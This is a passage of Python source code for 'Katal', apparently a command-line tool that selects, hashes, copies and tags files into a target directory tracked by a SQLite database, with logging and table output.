=\".format(filename))\n if not os.path.exists(os.path.join(normpath(ARGS.targetpath), filename)):\n msg(\" ! can't find \\\"{0}\\\" file on disk.\".format(filename),\n consolecolor=\"red\")\n return -1\n\n if not os.path.exists(normpath(get_database_fullname())):\n msg(\" ! no database found.\",\n consolecolor=\"red\")\n return -3\n else:\n db_connection = sqlite3.connect(get_database_fullname())\n db_connection.row_factory = sqlite3.Row\n db_cursor = db_connection.cursor()\n\n filename_hashid = None\n for db_record in db_cursor.execute('SELECT * FROM dbfiles'):\n if db_record[\"name\"] == os.path.join(normpath(ARGS.targetpath), filename):\n filename_hashid = db_record[\"hashid\"]\n\n if filename_hashid is None:\n msg(\" ! can't find \\\"{0}\\\" file in the database.\".format(filename),\n consolecolor=\"red\")\n res = -2\n else:\n if not ARGS.off:\n # let's remove filename from the target directory :\n shutil.move(os.path.join(normpath(ARGS.targetpath), filename),\n os.path.join(normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR, CST__TRASH_SUBSUBDIR, filename))\n\n # let's remove filename from the database :\n db_cursor.execute(\"DELETE FROM dbfiles WHERE hashid=?\", (filename_hashid,))\n\n res = 0 # success.\n\n db_connection.commit()\n db_connection.close()\n\n msg(\" ... done\")\n return res\n\n#///////////////////////////////////////////////////////////////////////////////\ndef action__whatabout(src):\n \"\"\"\n action__whatabout()\n ________________________________________________________________________\n\n Take a look at the \"src\" file/directory and answer the following question :\n is this file/(are these files) already in the target directory ?\n ________________________________________________________________________\n\n PARAMETER\n o src : (str) the source file's name\n\n RETURNED VALUE : (bool)is everything ok (=no error) ?\n \"\"\"\n #. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n def show_infos_about_a_srcfile(srcfile_name):\n \"\"\"\n Display the expected informations about a file named srcfile_name .\n \"\"\"\n msg(\" = what about the \\\"{0}\\\" file ? (path : \\\"{1}\\\")\".format(src, srcfile_name))\n size = os.stat(srcfile_name).st_size\n msg(\" = size : {0}\".format(size_as_str(size)))\n\n sourcedate = datetime.utcfromtimestamp(os.path.getmtime(srcfile_name))\n sourcedate = sourcedate.replace(second=0, microsecond=0)\n sourcedate2 = sourcedate\n sourcedate2 -= datetime(1970, 1, 1)\n sourcedate2 = sourcedate2.total_seconds()\n msg(\" = mtime : {0} (epoch value : {1})\".format(sourcedate, sourcedate2))\n\n srchash = hashfile64(srcfile_name)\n msg(\" = hash : {0}\".format(srchash))\n\n # is the hash in the database ?\n already_present_in_db = False\n for hashid in TARGET_DB:\n if hashid == srchash:\n already_present_in_db = True\n break\n if already_present_in_db:\n msg(\" = the file's content is equal to a file ALREADY present in the database.\")\n else:\n msg(\" = the file isn't present in the database.\")\n\n # (1) does src exist ?\n normsrc = normpath(src)\n if not os.path.exists(normsrc):\n msg(\" ! error : can't find source file \\\"{0}\\\" .\".format(normsrc),\n consolecolor=\"red\")\n return False\n\n # (2) is src a file or a directory ?\n if os.path.isdir(normsrc):\n # informations about the source directory :\n if normpath(ARGS.targetpath) in normsrc:\n msg(\" ! error : the given directory is inside the target directory.\",\n consolecolor=\"red\")\n return False\n\n for dirpath, _, filenames in os.walk(normpath(src)):\n for filename in filenames:\n fullname = os.path.join(normpath(dirpath), filename)\n show_infos_about_a_srcfile(fullname)\n\n else:\n # informations about the source file :\n if normpath(ARGS.targetpath) in normpath(src):\n # special case : the file is inside the target directory :\n msg(\" = what about the \\\"{0}\\\" file ? (path : \\\"{1}\\\")\".format(src, normsrc))\n msg(\" This file is inside the target directory.\")\n srchash = hashfile64(normsrc)\n msg(\" = hash : {0}\".format(srchash))\n msg(\" Informations extracted from the database :\")\n # informations from the database :\n db_connection = sqlite3.connect(get_database_fullname())\n db_connection.row_factory = sqlite3.Row\n db_cursor = db_connection.cursor()\n for db_record in db_cursor.execute(\"SELECT * FROM dbfiles WHERE hashid=?\", (srchash,)):\n msg(\" = partial hashid : {0}\".format(db_record[\"partialhashid\"]))\n msg(\" = name : {0}\".format(db_record[\"name\"]))\n msg(\" = size : {0}\".format(db_record[\"size\"]))\n msg(\" = source name : {0}\".format(db_record[\"sourcename\"]))\n msg(\" = source date : {0}\".format(db_record[\"sourcedate\"]))\n msg(\" = tags' string : {0}\".format(db_record[\"tagsstr\"]))\n db_connection.close()\n\n else:\n # normal case : the file is outside the target directory :\n show_infos_about_a_srcfile(normpath(src))\n\n return True\n\n#///////////////////////////////////////////////////////////////////////////////\ndef add_keywords_in_targetstr(srcstring,\n hashid,\n filename_no_extens,\n path,\n extension,\n _size,\n date,\n database_index):\n \"\"\"\n add_keywords_in_targetstr()\n ________________________________________________________________________\n\n The function replaces some keywords in the string by the parameters given\n to this function.\n The function returned a string which may be used to create target files.\n\n see the available keywords in the documentation.\n (see documentation:configuration file)\n\n caveat : in the .ini files, '%' have to be written twice (as in\n '%%p', e.g.) but Python reads it as if only one % was\n written.\n ________________________________________________________________________\n\n PARAMETERS\n o srcstring : (str)\n o hashid : (str)\n o filename_no_extens : (str)\n o path : (str\n o extension : (str)\n o _size : (int)\n o date : (str) see CST__DTIME_FORMAT\n o database_index : (int)\n\n About the underscore before \"_size\" :\n confer https://www.python.org/dev/peps/pep-0008/#function-and-method-arguments\n \" If a function argument's name clashes with a reserved keyword, it is generally\n \" better to append a single trailing underscore rather than use an abbreviation\n \" or spelling corruption.\n\n RETURNED VALUE\n (str)the expected string\n \"\"\"\n res = srcstring\n\n # beware : order matters !\n res = res.replace(\"%ht\",\n hex(int(datetime.strptime(date,\n CST__DTIME_FORMAT).timestamp()))[2:])\n\n res = res.replace(\"%h\", hashid)\n\n res = res.replace(\"%ff\", remove_illegal_characters(filename_no_extens))\n res = res.replace(\"%f\", filename_no_extens)\n\n res = res.replace(\"%pp\", remove_illegal_characters(path))\n res = res.replace(\"%p\", path)\n\n res = res.replace(\"%ee\", remove_illegal_characters(extension))\n res = res.replace(\"%e\", extension)\n\n res = res.replace(\"%s\", str(_size))\n\n res = res.replace(\"%dd\", remove_illegal_characters(date))\n\n res = res.replace(\"%t\",\n str(int(datetime.strptime(date,\n CST__DTIME_FORMAT).timestamp())))\n\n res = res.replace(\"%i\",\n remove_illegal_characters(str(database_index)))\n\n return res\n\n#///////////////////////////////////////////////////////////////////////////////\ndef backup_logfile(_logfile_fullname):\n \"\"\"\n backup_logfile()\n ________________________________________________________________________\n\n copy a logfile named _logfile_fullname into a backuped file.\n\n o The backuped file is stored in the CST__LOG_SUBSUBDIR directory.\n o The name of the backuped file is automatically created from a call to\n datetime.now() . See the CST__LOGFILE_DTIMEFORMATSTR constant.\n ________________________________________________________________________\n\n NO PARAMETER, no RETURNED VALUE\n \"\"\"\n logfile_backup = os.path.join(CST__KATALSYS_SUBDIR, CST__LOG_SUBSUBDIR,\n CFG_PARAMETERS[\"log file\"][\"name\"] + \\\n datetime.strftime(datetime.now(),\n CST__LOGFILE_DTIMEFORMATSTR))\n shutil.copyfile(_logfile_fullname, logfile_backup)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef check_args():\n \"\"\"\n check_args()\n ________________________________________________________________________\n\n check the arguments of the command line. Raise an exception if something\n is wrong.\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE\n \"\"\"\n # --select and --add can't be used simultaneously.\n if ARGS.add is True and ARGS.select is True:\n raise KatalError(\"--select and --add can't be used simultaneously\")\n\n # --settagsstr must be used with --to :\n if ARGS.settagsstr and not ARGS.to:\n raise KatalError(\"please use --to in combination with --settagsstr\")\n\n # --addtag must be used with --to :\n if ARGS.addtag and not ARGS.to:\n raise KatalError(\"please use --to in combination with --addtag\")\n\n # --rmtags must be used with --to :\n if ARGS.rmtags and not ARGS.to:\n raise KatalError(\"please use --to in combination with --rmtags\")\n\n # --strictcmp can only be used with --select or with --add :\n if ARGS.strictcmp and not (ARGS.add or ARGS.select):\n raise KatalError(\"--strictcmp can only be used in combination with --select or with --add\")\n\n # --copyto can only be used with --findtag :\n if ARGS.copyto and not ARGS.findtag:\n raise KatalError(\"--copyto can only be used in combination with --findtag .\")\n\n#///////////////////////////////////////////////////////////////////////////////\ndef create_empty_db(db_name):\n \"\"\"\n create_empty_db()\n ________________________________________________________________________\n\n Create an empty database named db_name .\n ________________________________________________________________________\n\n PARAMETER :\n o db_name : name of the file to be created .\n Please use a normpath'd parameter : the normpath function\n will not be called by create_empty_db() !\n\n no RETURNED VALUE\n \"\"\"\n msg(\" ... creating an empty database named \\\"{0}\\\"...\".format(db_name))\n\n if not ARGS.off:\n\n db_connection = sqlite3.connect(db_name)\n db_cursor = db_connection.cursor()\n\n db_cursor.execute(CST__SQL__CREATE_DB)\n\n db_connection.commit()\n db_connection.close()\n\n msg(\" ... database created\")\n\n#///////////////////////////////////////////////////////////////////////////////\ndef create_subdirs_in_target_path():\n \"\"\"\n create_subdirs_in_target_path()\n ________________________________________________________________________\n\n Create the expected subdirectories in ARGS.targetpath .\n ________________________________________________________________________\n\n no PARAMETERS, no RETURNED VALUE\n \"\"\"\n # (str)name for the message, (str)full path :\n for name, \\\n fullpath in ((\"target\", ARGS.targetpath),\n (\"system\", os.path.join(normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR)),\n (\"trash\", os.path.join(normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR, CST__TRASH_SUBSUBDIR)),\n (\"log\", os.path.join(normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR, CST__LOG_SUBSUBDIR)),\n (\"tasks\", os.path.join(normpath(ARGS.targetpath),\n CST__KATALSYS_SUBDIR, CST__TASKS_SUBSUBDIR))):\n if not os.path.exists(normpath(fullpath)):\n msg(\" * Since the {0} path \\\"{1}\\\" (path : \\\"{2}\\\") \"\n \"doesn't exist, let's create it.\".format(name,\n fullpath,\n normpath(fullpath)))\n if not ARGS.off:\n os.mkdir(normpath(fullpath))\n\n#/////////////////////////////////////////////////////////////////////////////////////////\ndef create_target_name(parameters,\n hashid,\n filename_no_extens,\n path,\n extension,\n _size,\n date,\n database_index):\n \"\"\"\n create_target_name()\n ________________________________________________________________________\n\n Create the name of a file (a target file) from various informations\n given by the parameters. The function reads the string stored in\n parameters[\"target\"][\"name of the target files\"] and replaces some\n keywords in the string by the parameters given to this function.\n\n see the available keywords in the documentation.\n (see documentation:configuration file)\n\n caveat : in the .ini files, '%' have to be written twice (as in\n '%%p', e.g.) but Python reads it as if only one % was\n written.\n ________________________________________________________________________\n\n PARAMETERS\n o parameters : an object returned by\n read_parameters_from_cfgfile(),\n like CFG_PARAMETERS\n o hashid : (str)\n o filename_no_extens : (str)\n o path : (str\n o extension : (str)\n o _size : (int)\n o date : (str) see CST__DTIME_FORMAT\n o database_index : (int)\n\n About the underscore before \"_size\" :\n confer https://www.python.org/dev/peps/pep-0008/#function-and-method-arguments\n \" If a function argument's name clashes with a reserved keyword, it is generally\n \" better to append a single trailing underscore rather than use an abbreviation\n \" or spelling corruption.\n\n RETURNED VALUE\n (str)name\n \"\"\"\n return(add_keywords_in_targetstr(srcstring=parameters[\"target\"][\"name of the target files\"],\n hashid=hashid,\n filename_no_extens=filename_no_extens,\n path=path,\n extension=extension,\n _size=_size,\n date=date,\n database_index=database_index))\n\n#/////////////////////////////////////////////////////////////////////////////////////////\ndef create_target_name_and_tags(parameters,\n hashid,\n filename_no_extens,\n path,\n extension,\n _size,\n date,\n database_index):\n \"\"\"\n create_target_name_and_tags()\n ________________________________________________________________________\n\n Create the name of a file (a target file) from various informations\n given by the parameters. The function reads the string stored in\n parameters[\"target\"][\"name of the target files\"] and in\n parameters[\"target\"][\"tags\"] and replaces some\n keywords in the string by the parameters given to this function.\n\n see the available keywords in the documentation.\n (see documentation:configuration file)\n\n caveat : in the .ini files, '%' have to be written twice (as in\n '%%p', e.g.) but Python reads it as if only one % was\n written.\n ________________________________________________________________________\n\n PARAMETERS\n o parameters : an object returned by\n read_parameters_from_cfgfile(),\n like CFG_PARAMETERS\n o hashid : (str)\n o filename_no_extens : (str)\n o path : (str\n o extension : (str)\n o _size : (int)\n o date : (str) see CST__DTIME_FORMAT\n o database_index : (int)\n\n About the underscore before \"_size\" :\n confer https://www.python.org/dev/peps/pep-0008/#function-and-method-arguments\n \" If a function argument's name clashes with a reserved keyword, it is generally\n \" better to append a single trailing underscore rather than use an abbreviation\n \" or spelling corruption.\n\n RETURNED VALUE\n ( (str)name, (str)tags )\n \"\"\"\n name = create_target_name(parameters,\n hashid,\n filename_no_extens,\n path,\n extension,\n _size,\n date,\n database_index)\n\n tags = create_target_name(parameters,\n hashid,\n filename_no_extens,\n path,\n extension,\n _size,\n date,\n database_index)\n return (name, tags)\n\n#/////////////////////////////////////////////////////////////////////////////////////////\ndef create_target_tags(parameters,\n hashid,\n filename_no_extens,\n path,\n extension,\n _size,\n date,\n database_index):\n \"\"\"\n create_target_tags()\n ________________________________________________________________________\n\n Create the tags of a file (a target file) from various informations\n given by the parameters. The function reads the string stored in\n parameters[\"target\"][\"tags\"] and replaces some\n keywords in the string by the parameters given to this function.\n\n see the available keywords in the documentation.\n (see documentation:configuration file)\n\n caveat : in the .ini files, '%' have to be written twice (as in\n '%%p', e.g.) but Python reads it as if only one % was\n written.\n ________________________________________________________________________\n\n PARAMETERS\n o parameters : an object returned by\n read_parameters_from_cfgfile(),\n like CFG_PARAMETERS\n o hashid : (str)\n o filename_no_extens : (str)\n o path : (str\n o extension : (str)\n o _size : (int)\n o date : (str) see CST__DTIME_FORMAT\n o database_index : (int)\n\n About the underscore before \"_size\" :\n confer https://www.python.org/dev/peps/pep-0008/#function-and-method-arguments\n \" If a function argument's name clashes with a reserved keyword, it is generally\n \" better to append a single trailing underscore rather than use an abbreviation\n \" or spelling corruption.\n\n RETURNED VALUE\n (str)name\n \"\"\"\n return(add_keywords_in_targetstr(srcstring=parameters[\"target\"][\"tags\"],\n hashid=hashid,\n filename_no_extens=filename_no_extens,\n path=path,\n extension=extension,\n _size=_size,\n date=date,\n database_index=database_index))\n\n#///////////////////////////////////////////////////////////////////////////////\ndef draw_table(rows, data):\n \"\"\"\n draw_table()\n ________________________________________________________________________\n\n Draw a table with some and fill it with data. The output is\n created by calling the msg() function.\n ________________________________________________________________________\n\n PARAMETERS :\n o rows : list of ( (str)row_name,\n (int)max length for this row,\n (str)separator,\n )\n\n e.g. :\n rows= ( (\"hashid\", HASHID_MAXLENGTH, \"|\"), )\n\n o data : ( (str)row_content1, (str)row_content2, ...)\n\n no RETURNED VALUE\n \"\"\"\n\n #...........................................................................\n def draw_line():\n \" draw a simple line made of + and -\"\n string = \" \"*6 + \"+\"\n for _, row_maxlength, _ in rows:\n string += \"-\"*(row_maxlength+2) + \"+\"\n msg(string)\n\n # real rows' widths : it may happen that a row's width is greater than\n # the maximal value given in rows since the row name is longer than\n # this maximal value.\n _rows = []\n for row_name, row_maxlength, row_separator in rows:\n _rows.append((row_name, max(len(row_name), row_maxlength), row_separator))\n\n # header :\n draw_line()\n\n string = \" \"*6 + \"|\"\n for row_name, row_maxlength, row_separator in _rows:\n string += \" \" + row_name + \" \"*(row_maxlength-len(row_name)+1) + row_separator\n msg(string)\n\n draw_line()\n\n # data :\n for linedata in data:\n string = \" |\"\n for row_index, row_content in enumerate(linedata):\n text = shortstr(row_content, rows[row_index][1])\n string += (\" \" + text + \\\n \" \"*(_rows[row_index][1]-len(text)) + \\\n \" \" + _rows[row_index][2])\n msg(string) # let's write the computed line\n\n draw_line()\n\n#///////////////////////////////////////////////////////////////////////////////\ndef eval_filter_for_a_file(_filter, filename, _size, date):\n \"\"\"\n eval_filter_for_a_file()\n ________________________________________________________________________\n\n Eval a file according to a filter and answers the following question :\n does the file matches what is described in the filter ?\n ________________________________________________________________________\n\n PARAMETERS\n o _filter : a dict, see documentation:select\n o filename : (str) file's name\n o _size : (int) file's size, in bytes.\n o date : (str)file's date\n\n About the underscore before \"_filter\" and \"_size\" :\n confer https://www.python.org/dev/peps/pep-0008/#function-and-method-arguments\n \" If a function argument's name clashes with a reserved keyword, it is generally\n \" better to append a single trailing underscore rather than use an abbreviation\n \" or spelling corruption.\n\n RETURNED VALUE\n a boolean, giving the expected answer\n \"\"\"\n res = True\n\n if res and \"name\" in _filter:\n res = thefilehastobeadded__filt_name(_filter, filename)\n if res and \"size\" in _filter:\n res = thefilehastobeadded__filt_size(_filter, _size)\n if res and \"date\" in _filter:\n res = thefilehastobeadded__filt_date(_filter, date)\n\n return res\n\n#///////////////////////////////////////////////////////////////////////////////\ndef fill_select(debug_datatime=None):\n \"\"\"\n fill_select()\n ________________________________________________________________________\n\n Fill SELECT and SELECT_SIZE_IN_BYTES from the files stored in\n the source path. This function is used by action__select() .\n ________________________________________________________________________\n\n PARAMETERS\n o debug_datatime : None (normal value) or a dict of CST__DTIME_FORMAT\n strings if in debug/test mode.\n\n RETURNED VALUE\n (int) the number of discarded files\n \"\"\"\n global SELECT, SELECT_SIZE_IN_BYTES\n\n source_path = CFG_PARAMETERS[\"source\"][\"path\"]\n\n SELECT = {} # see the SELECT format in the documentation:selection\n SELECT_SIZE_IN_BYTES = 0\n number_of_discarded_files = 0\n\n # these variables will be used by fill_select__checks() too.\n prefix = \"\"\n fullname = \"\"\n\n file_index = 0 # number of the current file in the source directory.\n for dirpath, _, filenames in os.walk(normpath(source_path)):\n for filename in filenames:\n\n # ..................................................................\n # gathering informations about filename :\n # ..................................................................\n file_index += 1\n fullname = os.path.join(normpath(dirpath), filename)\n\n # ..................................................................\n # protection against the FileNotFoundError exception.\n # This exception would be raised on broken symbolic link on the\n # \"size = os.stat(normpath(fullname)).st_size\" line (see below).\n # ..................................................................\n if os.path.exists(fullname):\n size = os.stat(normpath(fullname)).st_size\n if debug_datatime is None:\n time = datetime.utcfromtimestamp(os.path.getmtime(normpath(fullname)))\n time = time.replace(second=0, microsecond=0)\n else:\n time = datetime.strptime(debug_datatime[fullname], CST__DTIME_FORMAT)\n\n fname_no_extens, extension = get_filename_and_extension(normpath(filename))\n\n # if we know the total amount of files to be selected (see the --infos option),\n # we can add the percentage done :\n prefix = \"\"\n if INFOS_ABOUT_SRC_PATH[1] is not None and INFOS_ABOUT_SRC_PATH[1] != 0:\n prefix = \"[{0:.4f}%]\".format(file_index/INFOS_ABOUT_SRC_PATH[1]*100.0)\n\n # ..................................................................\n # what should we do with 'filename' ?\n # ..................................................................\n if not thefilehastobeadded__filters(filename, size, time):\n # ... nothing : incompatibility with at least one filter :\n number_of_discarded_files += 1\n\n if ARGS.verbosity == 'high':\n msg(\" - {0} discarded \\\"{1}\\\" \"\n \": incompatibility with the filter(s)\".format(prefix, fullname))\n else:\n # 'filename' being compatible with the filters, let's try\n # to add it in the datase :\n tobeadded, partialhashid, hashid = thefilehastobeadded__db(fullname, size)\n\n if tobeadded and hashid in SELECT:\n # . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n # tobeadded is True but hashid is already in SELECT; let's discard\n # :\n number_of_discarded_files += 1\n\n if ARGS.verbosity == 'high':\n msg(\" - {0} (similar hashid among the files to be copied, \"\n \"in the source directory) \"\n \" discarded \\\"{1}\\\"\".format(prefix, fullname))\n\n elif tobeadded:\n # . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n # ok, let's add to SELECT...\n SELECT[hashid] = \\\n SELECTELEMENT(fullname=fullname,\n partialhashid=partialhashid,\n path=dirpath,\n filename_no_extens=fname_no_extens,\n extension=extension,\n size=size,\n date=time.strftime(CST__DTIME_FORMAT),\n targetname= \\\n create_target_name(parameters=CFG_PARAMETERS,\n hashid=hashid,\n filename_no_extens=fname_no_extens,\n path=dirpath,\n extension=extension,\n _size=size,\n date=time.strftime(CST__DTIME_FORMAT),\n database_index=len(TARGET_DB) + \\\n len(SELECT)),\n targettags= \\\n create_target_tags(parameters=CFG_PARAMETERS,\n hashid=hashid,\n filename_no_extens=fname_no_extens,\n path=dirpath,\n extension=extension,\n _size=size,\n date=time.strftime(CST__DTIME_FORMAT),\n database_index=len(TARGET_DB) + \\\n len(SELECT)))\n\n msg(\" + {0} selected \\\"{1}\\\" (file selected #{2})\".format(prefix,\n fullname,\n len(SELECT)))\n msg(\" size={0}; date={1}\".format(size,\n time.strftime(CST__DTIME_FORMAT)))\n\n SELECT_SIZE_IN_BYTES += size\n\n else:\n # . . . . . . . . . . . . . . . . . . . . . . . . . . . . .\n # tobeadded is False : let's discard :\n number_of_discarded_files += 1\n\n if ARGS.verbosity == 'high':\n msg(\" - {0} (similar hashid in the database) \"\n \" discarded \\\"{1}\\\"\".format(prefix, fullname))\n\n else:\n msg(\" ! browsing {0}, an error occured : \"\n \"can't read the file \".format(source_path),\n consolecolor='red')\n msg(\" \\\"{0}\\\"\".format(fullname),\n consolecolor='red')\n\n return fill_select__checks(number_of_discarded_files=number_of_discarded_files,\n prefix=prefix,\n fullname=fullname)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef fill_select__checks(number_of_discarded_files, prefix, fullname):\n \"\"\"\n fill_select__checks()\n ________________________________________________________________________\n\n To be called at the end of fill_select() : remove some files from SELECT\n if they don't pass the checks :\n (1) future filename's can't be in conflict with another file in SELECT\n (2) future filename's can't be in conflict with another file already\n stored in the target path.\n ________________________________________________________________________\n\n PARAMETERS :\n o number_of_discarded_files : (int) see fill_select()\n o prefix : (str) see fill_select()\n o fullname : (str) see fill_select()\n\n RETURNED VALUE\n (int) the number of discarded files\n \"\"\"\n msg(\" o checking that there's no anomaly with the selected files...\")\n\n # (1) future filename's can't be in conflict with another file in SELECT\n msg(\" ... let's check that future filenames aren't in conflict \"\n \"with another file in SELECT...\")\n to_be_discarded = [] # a list of hash.\n for (selectedfile_hash1, selectedfile_hash2) in itertools.combinations(SELECT, 2):\n\n if SELECT[selectedfile_hash1].targetname == SELECT[selectedfile_hash2].targetname:\n msg(\" ! {0} discarded \\\"{1}\\\" : target filename \\\"{2}\\\" would be used \"\n \"two times for two different files !\".format(prefix,\n fullname,\n SELECT[selectedfile_hash2].targetname),\n consolecolor=\"red\")\n\n to_be_discarded.append(selectedfile_hash2)\n\n # (2) future filename's can't be in conflict with another file already\n # stored in the target path :\n if not CFG_PARAMETERS[\"target\"][\"mode\"] == 'nocopy':\n msg(\" ... let's check that future filenames aren't in conflict \"\n \"with another file already\")\n msg(\" stored in the target path...\")\n for selectedfile_hash in SELECT:\n if os.path.exists(os.path.join(normpath(ARGS.targetpath),\n SELECT[selectedfile_hash].targetname)):\n msg(\" ! {0} discarded \\\"{1}\\\" : target filename \\\"{2}\\\" already \"\n \"exists in the target path !\".format(prefix,\n fullname,\n SELECT[selectedfile_hash].targetname),\n consolecolor=\"red\")\n\n to_be_discarded.append(selectedfile_hash)\n\n # final message and deletion :\n if len(to_be_discarded) == 0:\n msg(\" o everything ok : no anomaly detected. See details above.\")\n else:\n if len(to_be_discarded) == 1:\n ending = \"y\"\n else:\n ending = \"ies\"\n msg(\" ! beware : {0} anomal{1} detected. \"\n \"See details above.\".format(len(to_be_discarded),\n ending),\n consolecolor=\"red\")\n\n for _hash in to_be_discarded:\n # e.g. , _hash may have discarded two times (same target name + file\n # already present on disk), hence the following condition :\n if _hash in SELECT:\n del SELECT[_hash]\n number_of_discarded_files += 1\n\n return number_of_discarded_files\n\n#///////////////////////////////////////////////////////////////////////////////\ndef get_database_fullname():\n \"\"\"\n get_database_fullname()\n ________________________________________________________________________\n\n Return the full name (=full path + name) of the database in\n ARGS.targetpath .\n ________________________________________________________________________\n\n NO PARAMETER\n\n RETURNED VALUE\n the expected string\n \"\"\"\n return os.path.join(normpath(ARGS.targetpath), CST__KATALSYS_SUBDIR, CST__DATABASE_NAME)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef get_disk_free_space(path):\n \"\"\"\n get_disk_free_space()\n ________________________________________________________________________\n\n return the available space on disk() in bytes. Code for Windows system\n from http://stackoverflow.com/questions/51658/ .\n ________________________________________________________________________\n\n PARAMETER\n o path : (str) the source path belonging to the disk to be\n analysed.\n\n RETURNED VALUE\n the expected int(eger)\n \"\"\"\n if CST__PLATFORM == 'Windows':\n free_bytes = ctypes.c_ulonglong(0)\n ctypes.windll.kernel32.GetDiskFreeSpaceExW(ctypes.c_wchar_p(path),\n None, None, ctypes.pointer(free_bytes))\n return free_bytes.value\n else:\n stat = os.statvfs(normpath(path))\n return stat.f_bavail * stat.f_frsize\n\n#///////////////////////////////////////////////////////////////////////////////\ndef get_filename_and_extension(path):\n \"\"\"\n get_filename_and_extension()\n ________________________________________________________________________\n\n Return\n ________________________________________________________________________\n\n PARAMETERS\n o path : (str) the source path\n\n RETURNED VALUE\n (str)filename without extension, (str)the extension without the\n initial dot.\n \"\"\"\n fname_no_extens, extension = os.path.splitext(path)\n\n # the extension can't begin with a dot.\n if extension.startswith(\".\"):\n extension = extension[1:]\n\n return fname_no_extens, extension\n\n#///////////////////////////////////////////////////////////////////////////////\ndef get_logfile_fullname():\n \"\"\"\n get_logfile_fullname()\n ________________________________________________________________________\n\n Return the logfile fullname\n ________________________________________________________________________\n\n no PARAMETER.\n\n RETURNED VALUE : the expected string\n \"\"\"\n return os.path.join(CST__KATALSYS_SUBDIR,\n CST__LOG_SUBSUBDIR,\n CFG_PARAMETERS[\"log file\"][\"name\"])\n\n#///////////////////////////////////////////////////////////////////////////////\ndef goodbye(timestamp_start):\n \"\"\"\n goodbye()\n ________________________________________________________________________\n\n display a goodbye message.\n ________________________________________________________________________\n\n PARAMETER :\n o timestamp_start : a datetime.datetime object\n\n no RETURNED VALUE\n \"\"\"\n msg(\"=== exit (Katal stopped at {0}; \"\n \"total duration time : {1}) ===\".format(datetime.now().strftime(CST__DTIME_FORMAT),\n datetime.now() - timestamp_start))\n\n#///////////////////////////////////////////////////////////////////////////////\ndef hashfile64(filename, stop_after=None):\n \"\"\"\n hashfile64()\n ________________________________________________________________________\n\n return the footprint of a file, encoded with the base 64. If stop_after\n is set to an integer, only the beginning of the file will be used to\n compute the hash (see CST__PARTIALHASHID_BYTESNBR constant).\n ________________________________________________________________________\n\n PARAMETER\n o filename : (str) file's name\n o stop_after:(None/int) if None, the file will be entirely read,\n otherwise, only the first stop_after bytes will\n be read.\n RETURNED VALUE\n the expected string. If you use sha256 as a hasher, the\n resulting string will be 44 bytes long. E.g. :\n \"YLkkC5KqwYvb3F54kU7eEeX1i1Tj8TY1JNvqXy1A91A\"\n \"\"\"\n # hasher used by the hashfile64() function.\n hasher = hashlib.sha256()\n\n nbr_of_bytes_read = 0\n with open(filename, \"rb\") as afile:\n # a buffer of 65536 bytes is an optimized buffer.\n buf = afile.read(65536)\n while len(buf) > 0:\n nbr_of_bytes_read += 65536\n if stop_after is not None and nbr_of_bytes_read >= stop_after:\n break\n\n hasher.update(buf)\n buf = afile.read(65536)\n\n return b64encode(hasher.digest()).decode()\n\n#///////////////////////////////////////////////////////////////////////////////\ndef is_ntfs_prefix_mandatory(path):\n \"\"\"\n is_ntfs_prefix_mandatory()\n ________________________________________________________________________\n\n Return True if the path is a path in a systemfile requiring the NTFS\n prefix for long filenames.\n ________________________________________________________________________\n\n PARAMETER\n path : (str)the path to be tested\n\n RETURNED VALUE\n a boolean\n \"\"\"\n longpath1 = os.path.join(path, \"a\"*250)\n longpath1 = os.path.normpath(os.path.abspath(os.path.expanduser(longpath1)))\n\n longpath2 = os.path.join(longpath1, \"b\"*250)\n\n res = False\n try:\n os.makedirs(longpath2)\n except IOError:\n res = True\n\n try:\n shutil.rmtree(longpath1)\n except IOError:\n pass\n\n return res\n\n#///////////////////////////////////////////////////////////////////////////////\ndef logfile_opening():\n \"\"\"\n logfile_opening()\n ________________________________________________________________________\n\n Open the log file in \"a\" mode, initialize LOGFILE_SIZE and return\n the result of the call to open().\n If the ancient logfile exists, it is renamed to avoid its overwriting.\n ________________________________________________________________________\n\n no PARAMETER\n\n RETURNED VALUE\n the _io.BufferedReader object returned by the call to open()\n \"\"\"\n global LOGFILE_SIZE\n logfile_fullname = get_logfile_fullname()\n\n if os.path.exists(normpath(logfile_fullname)):\n LOGFILE_SIZE = os.stat(normpath(logfile_fullname)).st_size\n else:\n LOGFILE_SIZE = 0\n\n return open(logfile_fullname, \"a\")\n\n#///////////////////////////////////////////////////////////////////////////////\ndef main():\n \"\"\"\n main()\n ________________________________________________________________________\n\n Main entry point.\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE\n\n This function should NOT have arguments : otherwise, the entrypoint\n defined in setup.py would not be valid.\n\n o sys.exit(-1) is called if the config file is ill-formed.\n o sys.exit(-2) is called if a KatalError exception is raised\n o sys.exit(-3) is called if another exception is raised\n \"\"\"\n global ARGS\n\n timestamp_start = datetime.now()\n\n try:\n ARGS = read_command_line_arguments()\n check_args()\n\n welcome(timestamp_start)\n main_warmup(timestamp_start)\n main_actions_tags()\n main_actions()\n\n goodbye(timestamp_start)\n\n if USE_LOGFILE:\n LOGFILE.close()\n\n except KatalError as exception:\n print(\"({0}) ! a critical error occured.\\nError message : {1}\".format(__projectname__,\n exception))\n sys.exit(-2)\n else:\n sys.exit(-3)\n\n sys.exit(0)\n\n#///////////////////////////////////////////////////////////////////////////////\ndef main_actions():\n \"\"\"\n main_actions()\n ________________________________________________________________________\n\n Call the different actions required by the arguments of the command line.\n ________________________________________________________________________\n\n no PARAMETER, no RETURNED VALUE\n \"\"\"\n if ARGS.cleandbrm:\n action__cleandbrm()\n\n if ARGS.reset:\n action__reset()\n\n if ARGS.targetkill:\n action__target_kill(ARGS.targetkill)\n\n if ARGS.whatabout:\n read_target_db()\n action__whatabout(ARGS.whatabout)\n\n if ARGS.select:\n read_target_db()\n read_filters()\n action__select()\n\n if ARGS.verbosity != 'none' and len(SELECT) > 0:\n answer = \\\n input(\"\\nDo you want to update the target database and to {0} the selected \"\n \"files into the target directory \"\n \"(\\\"{1}\\\") ? (y/N) 